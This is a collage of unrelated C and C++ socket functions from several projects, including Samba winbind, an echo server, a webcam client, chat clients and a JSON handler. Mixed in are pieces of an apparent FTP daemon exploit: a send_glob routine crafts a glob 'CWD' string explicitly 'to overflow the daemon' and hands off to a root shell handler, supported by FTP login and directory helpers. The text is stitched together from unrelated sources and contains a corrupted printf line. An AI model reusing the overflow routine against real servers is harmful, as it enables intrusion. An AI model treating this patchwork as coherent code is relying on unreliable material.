NSS_STATUS winbindd_send_request(int req_type, struct winbindd_request *request)
{
struct winbindd_request lrequest;
/* Check for our tricky environment variable */
if (winbind_env_set()) {
return NSS_STATUS_NOTFOUND;
}
if (!request) {
ZERO_STRUCT(lrequest);
request = &lrequest;
}
/* Fill in request and send down pipe */
init_request(request, req_type);
if (write_sock(request, sizeof(*request), request->flags & WBFLAG_RECURSE) == -1) {
return NSS_STATUS_UNAVAIL;
}
if ((request->extra_len != 0) &&
(write_sock(request->extra_data.data, request->extra_len, request->flags & WBFLAG_RECURSE) == -1)) {
return NSS_STATUS_UNAVAIL;
}
return NSS_STATUS_SUCCESS;
}
/*
* FTP GET HOME DIR function. Issues a "CWD ~" and "PWD" to
* force the ftp daemon to print our our current directory.
*/
char *ftp_gethomedir(int sock)
{
char *recvbuf;
char *homedir = NULL;
write_sock(sock, "CWD ~\n");
recvbuf = read_sock(sock);
if(atoi(recvbuf) == 250)
{
write_sock(sock, "PWD\n");
recvbuf = read_sock(sock);
if(atoi(recvbuf) == 257)
{
char *front, *back;
front = strchr(recvbuf, '"');
front++;
back = strchr(front, '"');
homedir = Malloc((back - front) * sizeof(char));
strncpy(homedir, front, (back - front));
homedir[(back - front)] = 0x0;
}
}
free(recvbuf);
return homedir;
}
static void server(int fd)
{
char buf[70000];
unsigned *ibuf = (unsigned *)buf;
uint32_t n;
signal(SIGPIPE, SIG_IGN);
printf("^");
fflush(stdout);
while (1) {
if (read_sock(fd, buf, 4) != 4) break;
n = ntohl(ibuf[0]);
if (n+4 >= sizeof(buf)) {
printf("overflow in server!\n");
exit(1);
}
if (read_sock(fd, buf+4, n) != (int)n) break;
n = ntohl(ibuf[1]);
ibuf[0] = htonl(n);
if (write_sock(fd, buf, n+4) != (int)(n+4)) break;
}
exit(0);
}
int readjpeg(int sock, unsigned char **buf,struct frame_t *headerframe,struct client_t *message,int statOn)
{
int byteread,bytewrite;
bytewrite = write_sock(sock,(unsigned char*)message,sizeof(struct client_t));
// is sleeping ?
if ((byteread= read_sock(sock,(unsigned char*)headerframe,sizeof(struct frame_t))) < 0){
printf("Seem server is gone !! try later \n");
goto error;
}
if(statOn)
printf (" key %s nb %d width %d height %d times %dms size %d \n",headerframe->header,
headerframe->nbframe,headerframe->w,headerframe->h,headerframe->deltatimes,headerframe->size);
if(headerframe->size && !headerframe->wakeup){
//if(headerframe->size){
*buf=(unsigned char*) realloc(*buf,headerframe->size);
if((byteread = read_sock(sock,*buf,headerframe->size)) < 0){
printf("Seem server is gone !! try later \n");
goto error;}
}
//printf("buf read %d \n",byteread);
if(headerframe->acknowledge)
reset_callbackmessage(message);
usleep(5000);
return ((headerframe->wakeup)?0:(headerframe->size));
//return (headerframe->size);
error:
return -1;
}
int process_socket(int sock,int inpipe) {
fd_set fdset; /* selected file descriptors */
int poll,i;
struct timeval tv;
signal(SIGPIPE,SIG_IGN);
signal(SIGUSR1,trap_reset);
listen(sock,5);
tv.tv_sec=0;
tv.tv_usec=0;
poll=0;
runloop=1;
do {
FD_ZERO(&fdset);
FD_SET(inpipe,&fdset);
if (poll==0) {
if (poll_sock(sock,NULL,&fdset) !=0) continue;
} else poll_sock(sock,&tv,&fdset);
/* open any new connections if possible */
open_sock(sock,&fdset);
poll=0;
/* check to see if the root server has sent any data */
if (FD_ISSET(inpipe,&fdset)) {
int size;
size=read(inpipe,mbuf,BUF_SIZE);
if (size==0) break;
write_raw(mbuf,size);
}
/* send the data to the clients */
if (write_sock() !=0) poll=1;
/* read back any data from the clients */
read_sock(&fdset,tmpbuf,BUF_SIZE);
/* decode the buffers here */
} while(runloop);
/* close all the clients down */
for (i=0; i<msgmax; i++) {
if (client[i].sock !=0) close(client[i].sock);
}
close(sock);
return -1;
}
/*
* FTP QUIT function. Issues a "QUIT" to terminate the connection.
*/
int ftp_quit(int sock)
{
char *recvbuf;
write_sock(sock, "QUIT\n");
recvbuf = read_sock(sock);
free(recvbuf);
close(sock);
return 1;
}
NSS_STATUS winbindd_send_request(int req_type, int need_priv,
struct winbindd_request *request)
{
struct winbindd_request lrequest;
/* Check for our tricky environment variable */
if (winbind_env_set()) {
return NSS_STATUS_NOTFOUND;
}
if (!request) {
ZERO_STRUCT(lrequest);
request = &lrequest;
}
/* Fill in request and send down pipe */
init_request(request, req_type);
if (write_sock(request, sizeof(*request),
request->flags & WBFLAG_RECURSE, need_priv) == -1) {
/* Set ENOENT for consistency. Required by some apps */
errno = ENOENT;
return NSS_STATUS_UNAVAIL;
}
if ((request->extra_len != 0) &&
(write_sock(request->extra_data.data, request->extra_len,
request->flags & WBFLAG_RECURSE, need_priv) == -1)) {
/* Set ENOENT for consistency. Required by some apps */
errno = ENOENT;
return NSS_STATUS_UNAVAIL;
}
return NSS_STATUS_SUCCESS;
}
/*
* FTP LOGIN function. Issues a "USER <username> and then "PASS <password>"
* to login to the remote host and checks that command succeeded.
*/
int ftp_login(int sock, char *username, char *password)
{
char *recvbuf;
char *sendbuf;
char *header;
header = read_sock(sock);
printf("\tserver runs:\t%s", header);
free(header);
sendbuf = Malloc((MAXX(strlen(username), strlen(password)) + 7) *
sizeof(char));
sprintf(sendbuf, "USER %s\n", username);
write_sock(sock, sendbuf);
recvbuf = read_sock(sock);
if(atoi(recvbuf) != 331)
{
free(recvbuf);
return 0;
}
sprintf(sendbuf, "PASS %s\n", password);
write_sock(sock, sendbuf);
recvbuf = read_sock(sock);
if(atoi(recvbuf) != 230)
{
free(recvbuf);
return 0;
}
free(sendbuf);
return 1;
}
/*
* sends the glob string, to overflow the daemon.
*/
void send_glob(int sock, char *front)
{
char globbed[] = "CWD ~/NNNNNN*/X*/X*/X*\n";
int i, j;
for(i = 6, j = 0; i < 6 + 6; i++, j++)
globbed[i] = front[j];
write_sock(sock, globbed);
printf("[5] Globbed commands sent.\n");
free(front);
/* start our shell handler */
possibly_rooted(sock);
}
void zflush(int finish)
{
static char outbuf[65536];
zout.next_in = zbuf;
zout.avail_in = zbufpos;
do {
zout.next_out = outbuf;
zout.avail_out = sizeof(outbuf);
if (deflate(&zout, finish ? Z_FINISH : Z_PARTIAL_FLUSH) == -1)
QUIT("zflush : deflate failed !\n");
zsent += sizeof(outbuf) - zout.avail_out;
write_sock(outbuf, sizeof(outbuf) - zout.avail_out);
} while (zout.avail_out == 0 && zout.avail_in != 0);
zbufpos = 0;
return;
}
int main(int argc, char *argv[]) {
signal(SIGINT, sighandler);
int retcode;
struct sockaddr_in server_sockaddr;
unsigned short server_port;
char *server_addr;
if (argc < 3 || argc > 3) {
usage();
}
server_addr = argv[1];
server_port = atoi(argv[2]);
client_socket = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
handle_error(client_socket, "socket failed", PROCESS_EXIT);
memset(&server_sockaddr, 0, sizeof(server_sockaddr));
server_sockaddr.sin_family = AF_INET;
server_sockaddr.sin_addr.s_addr = inet_addr(server_addr);
server_sockaddr.sin_port = htons(server_port);
retcode = connect(client_socket,(struct sockaddr *) &server_sockaddr,sizeof(server_sockaddr));
handle_error(retcode,"connect failed",PROCESS_EXIT);
printf("Mit Server verbunden\n");
char receive_string[BUF_SIZE];
char send_string[BUF_SIZE];
while (1){
memset(send_string, '\0', BUF_SIZE);
retcode = fgets(send_string, BUF_SIZE ,stdin);
write_sock(client_socket, send_string, strlen(send_string));
memset(receive_string, '\0', BUF_SIZE);
retcode = read_sock(client_socket, receive_string, BUF_SIZE);
printf("%s\n", receive_string);
}
}
static int pam_winbind_request(enum winbindd_cmd req_type,
struct winbindd_request *request,
struct winbindd_response *response)
{
/* Fill in request and send down pipe */
init_request(request, req_type);
if (write_sock(request, sizeof(*request)) == -1) {
_pam_log(LOG_ERR, "write to socket failed!");
close_sock();
return PAM_SERVICE_ERR;
}
/* Wait for reply */
if (read_reply(response) == -1) {
_pam_log(LOG_ERR, "read from socket failed!");
close_sock();
return PAM_SERVICE_ERR;
}
/* We are done with the socket - close it and avoid mischeif */
close_sock();
/* Copy reply data from socket */
if (response->result != WINBINDD_OK) {
if (response->data.auth.pam_error != PAM_SUCCESS) {
_pam_log(LOG_ERR, "request failed: %s, PAM error was %d, NT error was %s",
response->data.auth.error_string,
response->data.auth.pam_error,
response->data.auth.nt_status_string);
return response->data.auth.pam_error;
} else {
_pam_log(LOG_ERR, "request failed, but PAM error 0!");
return PAM_SERVICE_ERR;
}
}
return PAM_SUCCESS;
}
/*
* FTP CWD function. Issues a "CWD <dirname>" to change directory on
* the remote host and checks that the command succeeded.
*/
int ftp_chdir(int sock, char *dirname)
{
char *recvbuf;
char *sendbuf;
sendbuf = Malloc((strlen(dirname) + 6) * sizeof(char));
sprintf(sendbuf, "CWD %s\n", dirname);
write_sock(sock, sendbuf);
recvbuf = read_sock(sock);
free(sendbuf);
if(atoi(recvbuf) == 250)
{
free(recvbuf);
return 1;
}
free(recvbuf);
return 0;
}
object *socket::write(string *val)
{
if (socket_val < 0)
{
exceptions::SocketError *exc = exceptions::SocketError::Create(
1,
new string("Socket already closed.")
);
exc->throw_exception();
}
int ret = write_sock(socket_val, (void*)val->string_val.c_str(), val->string_val.size());
if (ret < 0)
{
exceptions::SocketError *exc = exceptions::SocketError::Create(
1,
new string("Error encountered while writing to socket.")
);
exc->throw_exception();
}
return new integer(ret);
}
int main(int argc, const char * argv[])
{
struct sockaddr_in serv_addr;
struct hostent *server;
int serverSocket = socket(AF_INET, SOCK_STREAM, 0);
if(serverSocket < 0)
{
printf("Cannot open socket.\n");
return 0;
}
server = gethostbyname("127.0.0.1");
if(server == NULL){
printf("Cannot find server.\n");
return 0;
}
bzero((char *) &serv_addr, sizeof(serv_addr));
serv_addr.sin_family = AF_INET;
bcopy((char *)server -> h_addr_list[0], (char *) &serv_addr.sin_addr.s_addr, server->h_length);
serv_addr.sin_port = htons(5000);
if(connect(serverSocket, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0)
{
printf("Cannot connect.\n");
return 0;
}
//SEND INITIAL MESSAGE TO SERVER STATING THE HOSTS ITEMS
write_sock(serverSocket, "C");
//WAIT FOR MESSAGE BACK FROM SERVER
char initialMessageFromServer[1024];
int receivedInitialMessageBackFromServer = 0;
while(receivedInitialMessageBackFromServer == 0)
{
int numBytesRead = (int)read(serverSocket, initialMessageFromServer, 1024);
if(numBytesRead > 0)
{
receivedInitialMessageBackFromServer = 1;
initialMessageFromServer[numBytesRead] = 0;
printf("%s\n", initialMessageFromServer);
}
}
close(serverSocket);
//GET MESSAGE FROM USER
char portNumber[1024];
printf("ENTER THE PORT NUMBER YOU WANT TO JOIN: ");
scanf("%s", portNumber);
char clientName[100];
printf("ENTER YOUR USERNAME: "******"%s", clientName);
hostSocket = socket(AF_INET, SOCK_STREAM, 0);
if(hostSocket < 0)
{
printf("Cannot open socket.\n");
return 0;
}
struct sockaddr_in host_addr;
struct hostent *hostHost;
hostHost = gethostbyname("127.0.0.1");
if(hostHost == NULL)
{
printf("Cannot find server.\n");
return 0;
}
bzero((char *) &host_addr, sizeof(host_addr));
serv_addr.sin_family = AF_INET;
bcopy((char *)hostHost->h_addr_list[0], (char*)&host_addr.sin_addr.s_addr, hostHost->h_length);
host_addr.sin_port = htons(atoi(portNumber));
if(connect(hostSocket, (struct sockaddr*) &host_addr, sizeof(host_addr)) < 0)
{
printf("Cannot connect.\n");
return 0;
}
else
{
int *arg = malloc(sizeof(int));
*arg = hostSocket;
struct Client *newClient = malloc(sizeof(struct Client));
newClient->clientSocket = hostSocket;
strcpy(newClient->clientName, clientName);
pthread_t recvThread, sendThread;
pthread_create(&sendThread, NULL, sendtoHost, newClient);
pthread_create(&recvThread, NULL, recvFromHost, NULL);
pthread_join(sendThread, NULL);
pthread_join(recvThread, NULL);
}
return 0;
}
void *read_sock(void *p)
{
if(p==NULL)
return NULL;
char szBuf[MAX_SIZE*5] = {0};
SOCKDATA *pdata = (SOCKDATA*)p;
int nbytes;
if((nbytes=recv(pdata->sock_fd, szBuf, MAX_SIZE, 0))==-1 || nbytes==0){
psyslog(LOG_NOTICE, "From client %d recv data is %s\n", pdata->sock_fd, nbytes?"not empty":"empty");
free(pdata);
return NULL;
}
uint8_t *podata = (uint8_t*)malloc(nbytes-1);
if(reverse_crc_data(szBuf, nbytes, (void*)podata)!=0){
psyslog(LOG_ERR, "The data from client crc error");
free(pdata);
free(podata);
return NULL;
}
//use JSON
cJSON *root = cJSON_Parse((char*)podata);
if (root == NULL){
psyslog(LOG_ERR, cJSON_GetErrorPtr());
free(pdata);
free(podata);
return NULL;
}
int needResponse = cJSON_GetObjectItem(root, "needResponse")->valueint;
char *message = cJSON_GetObjectItem(root, "message")->valuestring;
int msgLen = cJSON_GetObjectItem(root, "len")->valueint;
bzero(szBuf, MAX_SIZE*5);
strncpy(szBuf, message, msgLen);
szBuf[msgLen] = '\n';
pthread_rwlock_wrlock(&rwlock);
write(pdata->write_fd, szBuf, msgLen+1);
if(needResponse)
{
//need respons
bzero(szBuf, MAX_SIZE*5);
//nbytes=read(pdata->read_fd, szBuf, MAX_SIZE*5);
sleep(0.1);
strcpy(szBuf, "Hello WoW!");
nbytes = strlen(szBuf);
pdata->msg = szBuf;
pdata->size = nbytes;
write_sock(pdata);
}
pthread_rwlock_unlock(&rwlock);
free(pdata);
free(podata);
cJSON_Delete(root);
return NULL;
}
